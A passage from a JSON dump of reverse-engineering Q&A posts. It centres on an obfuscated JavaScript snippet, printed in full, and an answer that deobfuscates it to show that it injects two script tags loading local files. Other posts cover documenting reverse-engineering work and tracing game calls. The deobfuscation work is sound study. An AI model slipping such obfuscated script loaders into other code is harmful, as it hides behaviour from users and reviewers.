\u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$__+\"=\\\\\\\"\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\".\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\"_\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\".\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\"?\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\"=\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\"\\\\\\\"&gt;&lt;\\\\\\\\/\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$__+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__+\"&gt;').\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.___+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$_+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$_+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$__+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\"(\\\\\\\"\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$_$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7._$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$_$+\"\\\\\"+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.$$$+\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7.__$+\"\\\\\\\");\"+\"\\\"\")())();\n</code></pre>\n",
        "Title": "How work this obfuscation, and how deobfuscate?",
        "Tags": "|javascript|",
        "Answer": "<p>This obfuscated code is taking advantage of the wide possibilities to name Javascript variables. This makes a simple-obfuscated Javascript code to look much more scarier.</p>\n\n<p>As noted in the great article <a href=\"https://mathiasbynens.be/notes/javascript-identifiers\" rel=\"noreferrer\">Valid JavaScript variable names</a> and taken by me from <a href=\"https://stackoverflow.com/a/9337047/7193722\">this answer</a>, Javascript variables can be represented using a wide-range of characters:</p>\n\n<blockquote>\n  <p>An identifier must start with <code>$</code>, <code>_</code>, or any character in the Unicode\n  categories \u201c<a href=\"http://graphemica.com/categories/uppercase-letter\" rel=\"noreferrer\">Uppercase letter (Lu)</a>\u201d, \u201c<a href=\"http://graphemica.com/categories/lowercase-letter\" rel=\"noreferrer\">Lowercase letter (Ll)</a>\u201d,\n  \u201c<a href=\"http://graphemica.com/categories/titlecase-letter\" rel=\"noreferrer\">Titlecase letter (Lt)</a>\u201d, \u201c<a href=\"http://graphemica.com/categories/modifier-letter\" rel=\"noreferrer\">Modifier letter (Lm)</a>\u201d, \u201c<a href=\"http://graphemica.com/categories/other-letter\" rel=\"noreferrer\">Other letter (Lo)</a>\u201d,\n  or \u201c<a href=\"http://graphemica.com/categories/letter-number\" rel=\"noreferrer\">Letter number (Nl)</a>\u201d.</p>\n  \n  <p>The rest of the string can contain the same characters, plus any\n  U+200C <em>zero width non-joiner characters</em>, U+200D <em>zero width joiner</em>\n  <em>characters</em>, and characters in the Unicode categories \u201c<a href=\"http://graphemica.com/categories/nonspacing-mark\" rel=\"noreferrer\">Non-spacing mark\n  (Mn)</a>\u201d, \u201c<a href=\"http://graphemica.com/categories/spacing-combining-mark\" rel=\"noreferrer\">Spacing combining mark (Mc)</a>\u201d, \u201c<a href=\"http://graphemica.com/categories/decimal-digit-number\" rel=\"noreferrer\">Decimal digit number (Nd)</a>\u201d, or\n  \u201c<a href=\"http://graphemica.com/categories/connector-punctuation\" rel=\"noreferrer\">Connector punctuation (Pc)</a>\u201d.</p>\n</blockquote>\n\n<p>To begin deobfuscate the code I recommend to first rename the variable name into more readable one, let's say <code>x</code>. Using your favorite editor, replace every instance of <code>\u00d8 \u00d8\u00a1\u00d8\u00a2\u00d8\u00a3\u00d8\u00a4\u00d8\u00a5\u00d8\u00a6\u00d8\u00a7</code> to <code>x</code>. Then put a new line after each semicolon to make the reading easier:</p>\n\n<pre><code>x=~[];\nx={___:++x,$$$$:(![]+\"\")[x],__$:++x,$_$_:(![]+\"\")[x],_$_:++x,$_$$:({}+\"\")[x],$$_$:(x[x]+\"\")[x],_$$:++x,$$$_:(!\"\"+\"\")[x],$__:++x,$_$:++x,$$__:({}+\"\")[x],$$_:++x,$$$:++x,$___:++x,$__$:++x};\nx.$_=(x.$_=x+\"\")[x.$_$]+(x._$=x.$_[x.__$])+(x.$$=(x.$+\"\")[x.__$])+((!x)+\"\")[x._$$]+(x.__=x.$_[x.$$_])+(x.$=(!\"\"+\"\")[x.__$])+(x._=(!\"\"+\"\")[x._$_])+x.$_[x.$_$]+x.__+x._$+x.$;\nx.$$=x.$+(!\"\"+\"\")[x._$$]+x.__+x._+x.$+x.$$;\nx.$=(x.___)[x.$_][x.$_];\nx.$(x.$(x.$$+\"\\\"\"+\"$('&lt;\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"\\\\\"+x.$__+x.___+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$__+\"=\\\\\\\"\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$$+x.$$$_+x.__+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.__$+x.$_$+x.$_$_+x.__+\"\\\\\"+x.__$+x.$__+x.$$$+\"\\\\\"+x.__$+x.$_$+x.___+\"\\\\\"+x.__$+x.$$$+x.__$+x._+\"/\\\\\"+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+\"/\\\\\"+x.__$+x.$$_+x.$$$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x._$_+\".\"+x.$$__+x._$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$$_+\".\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"?\\\\\"+x.__$+x.$$_+x.$$_+\"=\"+x.__$+x.$$_+\"\\\\\\\"&gt;&lt;\\\\\\\\/\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"&gt;').\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x.___+\"\\\\\"+x.__$+x.$$_+x.___+x.$$$_+\"\\\\\"+x.__$+x.$_$+x.$$_+x.$$_$+\"\\\\\"+x.__$+x._$_+x.$__+x._$+\"(\\\\\\\"\"+x.$_$$+x._$+x.$$_$+\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\"),\\\\\"+x.__$+x._$_+\"$('&lt;\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"\\\\\"+x.$__+x.___+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$_+x.$$__+\"=\\\\\\\"\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"\\\\\"+x.__$+x.$$_+x._$$+x.$$$_+x.__+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"/\\\\\"+x.__$+x.__$+x.$_$+x.$_$_+x.__+\"\\\\\"+x.__$+x.$__+x.$$$+\"\\\\\"+x.__$+x.$_$+x.___+\"\\\\\"+x.__$+x.$$$+x.__$+x._+\"/\\\\\"+x.__$+x.___+x._$$+x.$$$_+x.$_$+x.$_$_+\"/\\\\\"+x.__$+x.$$_+x.$$$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x._$_+\".\\\\\"+x.__$+x.$_$+x.$_$+x.$_$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$_$+x.$$_+\"_\"+x._$+x._+x.__+\".\\\\\"+x.__$+x.$_$+x._$_+\"\\\\\"+x.__$+x.$$_+x._$$+\"?\\\\\"+x.__$+x.$$_+x.$$_+\"=\"+x.$$_+\"\\\\\\\"&gt;&lt;\\\\\\\\/\\\\\"+x.__$+x.$$_+x._$$+x.$$__+\"\\\\\"+x.__$+x.$$_+x._$_+\"\\\\\"+x.__$+x.$_$+x.__$+\"\\\\\"+x.__$+x.$$_+x.___+x.__+\"&gt;').\"+x.$_$_+\"\\\\\"+x.__$+x.$$_+x.___+\"\\\\\"+x.__$+x.$$_+x.___+x.$$$_+\"\\\\\"+x.__$+x.$_$+x.$$_+x.$$_$+\"\\\\\"+x.__$+x._$_+x.$__+x._$+\"(\\\\\\\"\"+x.$_$$+x._$+x.$$_$+\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\");\"+\"\\\"\")())();\n</code></pre>\n\n<p>Now, without diving deeper into the code you can see that the code is combined from 6 lines. The first five are variable declarations and applying values to them, whereas the last line is the actual execution of the code (<em>notice the <code>()</code> at the end which is a call for a function</em>).  </p>\n\n<p>The fastest way, in my opinion, to understand what the code does is to simply replace the <code>()</code> at the end with <code>.toString()</code>. This will make the program print the final code instead of executing it. Thus, with just a simple step you can deobfuscate and understand the code.</p>\n\n<p><strong>NOTE:</strong> don't execute an obfuscated or possibly-malicious code on your machine. Use virtual machine or another safe environment to execute it.</p>\n\n<pre><code>x=~[];\n...\n...\n&lt; truncated for readability &gt;\n...\n...\"\\\\\"+x.__$+x.$$$+x.__$+\"\\\\\\\");\"+\"\\\"\")()).toString();\n</code></pre>\n\n<p>You can see that the following code is being printed to your screen:</p>\n\n<pre><code>\"function anonymous(\n) {\n$('&lt;script src=\"assets/js/Matghyu/Ce5a/wair.core.js?v=16\"&gt;&lt;\\/script&gt;').appendTo(\"body\"),\n$('&lt;script src=\"assets/js/Matghyu/Ce5a/wair.main_out.js?v=6\"&gt;&lt;\\/script&gt;').appendTo(\"body\");\n}\"\n</code></pre>\n\n<p>Now we can understand that the obfuscated code is appending two <code>&lt;script&gt;</code> tags to the <code>body</code> of the HTML page.  </p>\n\n<p>If you want to you can always try to understand how the final code was built but I usually stop here since I already figured out what the program does and following the obfuscation method might cause a headache sometimes.</p>\n"
    },
    {
        "Id": "15947",
        "CreationDate": "2017-07-29T09:12:16.537",
        "Body": "<p>Sometime I have to reverse engineer / disassemble some software/firmware/application, how can I keep track of the findings, the application flow I discovered and generally the details I need when I return to work on that project after some time (months)?</p>\n\n<p>Often I have to analyze some kind of home-made encryption system and while I work on the project I can keep all the details I need in mind but if I pause the project for some time (ex. 1 month) when I return to work on it I have to relearn at least half of the details.</p>\n\n<p>To sum up: I am searching for an easy, browsable, system to keep track of details of applications I disassemble to make them useful.</p>\n",
        "Title": "How to document a reverse engineering operation?",
        "Tags": "|documentation|",
        "Answer": "<p>If you would like to get examples of thorough reverse engineering documentation examples, one of the moderators here has a website with fully reverse engineered malware analysis IDA Pro databases. Looking at how he approaches each function might prove to be a good framework.</p>\n\n<p><a href=\"http://www.msreverseengineering.com/blog/2014/6/23/baglew-thorough-idb\" rel=\"nofollow noreferrer\">http://www.msreverseengineering.com/blog/2014/6/23/baglew-thorough-idb</a></p>\n\n<p><a href=\"http://www.msreverseengineering.com/blog/2014/6/23/commwarriorb-thorough-idb-armc\" rel=\"nofollow noreferrer\">http://www.msreverseengineering.com/blog/2014/6/23/commwarriorb-thorough-idb-armc</a></p>\n"
    },
    {
        "Id": "15961",
        "CreationDate": "2017-07-30T23:33:40.427",
        "Body": "<p><em>I'm new on this, sorry for bad usage of terms or overextending an explanation. I'm learning code languages and the way I found to bring it to my world so I can learn it better was coding for/with games i play.</em></p>\n\n<hr>\n\n<p>When a window close on the game a function needs to be called, when the character move or you pick an item, everything has a command, function, process or some value of an address change and etc... What i wanted to know is if there something that shows me on real time every call, every value change, address value change, etc...</p>\n\n<p>Nowadays i have to reach some value address by CheatEngine, changing the value till i find the correct address. With this kind of thing i would have a list off things that is happening right now, and a \"log\" of the past things, then i go to the exact time that i did something, so i would have to look on that peace of the list and discover what did my \"something\"</p>\n\n<ol>\n<li>Click on a button;</li>\n<li>Check on the real-time thing what happened at the time of the \"Click\non a button\" process;</li>\n<li>Discover what call was responsible for that and what it did;</li>\n<li>Now i can code something that do what \"Click on a button\" do, without needing to actually click on that button;</li>\n</ol>\n\n<hr>\n\n<p>I have seen it somewhere, thats why i'm asking here, if i'm totally wrong and this doesn't exist, i'm sorry, i will delete this post.</p>\n",
        "Title": "Real-time changes of executable on IDE/Assembler",
        "Tags": "|disassembly|assembly|ollydbg|executable|disassemblers|",
